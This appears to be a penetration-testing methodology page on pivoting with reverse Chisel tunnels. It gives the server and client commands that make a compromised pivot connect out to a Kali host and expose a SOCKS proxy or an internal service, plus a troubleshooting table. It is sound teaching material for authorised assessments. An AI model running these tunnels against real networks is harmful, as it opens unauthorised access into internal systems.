Use a reverse Chisel SOCKS or fixed TCP tunnel

Needs: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

On Kali

# On Kali
chisel server --reverse --port CHISEL_PORT

On the pivot

Record the server fingerprint. On the pivot:

# On the pivot
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

# Baseline
# Kali
chisel server --reverse --port CHISEL_PORT

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

# Baseline
chisel --version
chisel server --help
chisel client --help
ss -lntp

Verify → Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

If it fails → WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures. More detail ↓

If → then

A SOCKS listener or an SSH jump host is already available → Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
Needs: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
Needs: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot
Needs: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use a reverse Chisel SOCKS or fixed TCP tunnel

USE WHEN: A pivot can make outbound HTTP/WebSocket connections to the tunnel server
STARTING ACCESS: A pivot identity/process or reachable SSH service and a drawn source-to-destination path
RESULT: A server-side SOCKS or fixed-port route into pivot-reachable services

Recognize the clue

Map an outbound pivot-to-server HTTP/WebSocket path and identify whether the assessment side needs a fixed listener or SOCKS access.

chisel --version
chisel server --help
chisel client --help

SYNTHETIC EXAMPLE OUTPUT

Compatible peers: inspect versions
Direction: pivot client -> assessment server
Required remote: R: fixed destination or R:socks

Means: The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.

Confirm: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.

After validation: The carrier and intended service handshake succeed: choose the matching reverse remote.
Ruled out in this context: The carrier/upgrade is blocked with no permitted route: reject this tunnel path.
Still inconclusive: A connected carrier without application response leaves listener/exit/client behavior unknown.

Troubleshooting: WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

On Kali:

Record the server fingerprint. On the pivot:

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

Cue	Interpretation
No connection at server	Pivot egress, address, listener or WebSocket/proxy path
HTTP reaches server but upgrade fails	Intermediary may block WebSocket upgrade
`exec format error`	Wrong OS/architecture
Missing GLIBC/version symbol	Build/runtime incompatibility; choose a compatible official build
Fingerprint mismatch	Wrong server or changed key; do not bypass verification blindly
SOCKS listener exists but endpoint fails	Pivot-to-destination or application/proxy compatibility
TCP works but UDP fails	Ordinary `socks`, old peer, UDP bind/firewall or unsupported client

Why it works

The Chisel client initiates the carrier connection. A reverse remote specifies a listener on the server; SOCKS and fixed destinations provide different connection selection.

Worked example · hypothetical

Observation: outbound SSH is unavailable but the permitted HTTP path works. Test: establish the documented reverse tunnel and verify one application. Illustrative output: the server-side listener reaches the internal service. Interpretation: use the selected proxy/fixed destination and test DNS separately.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗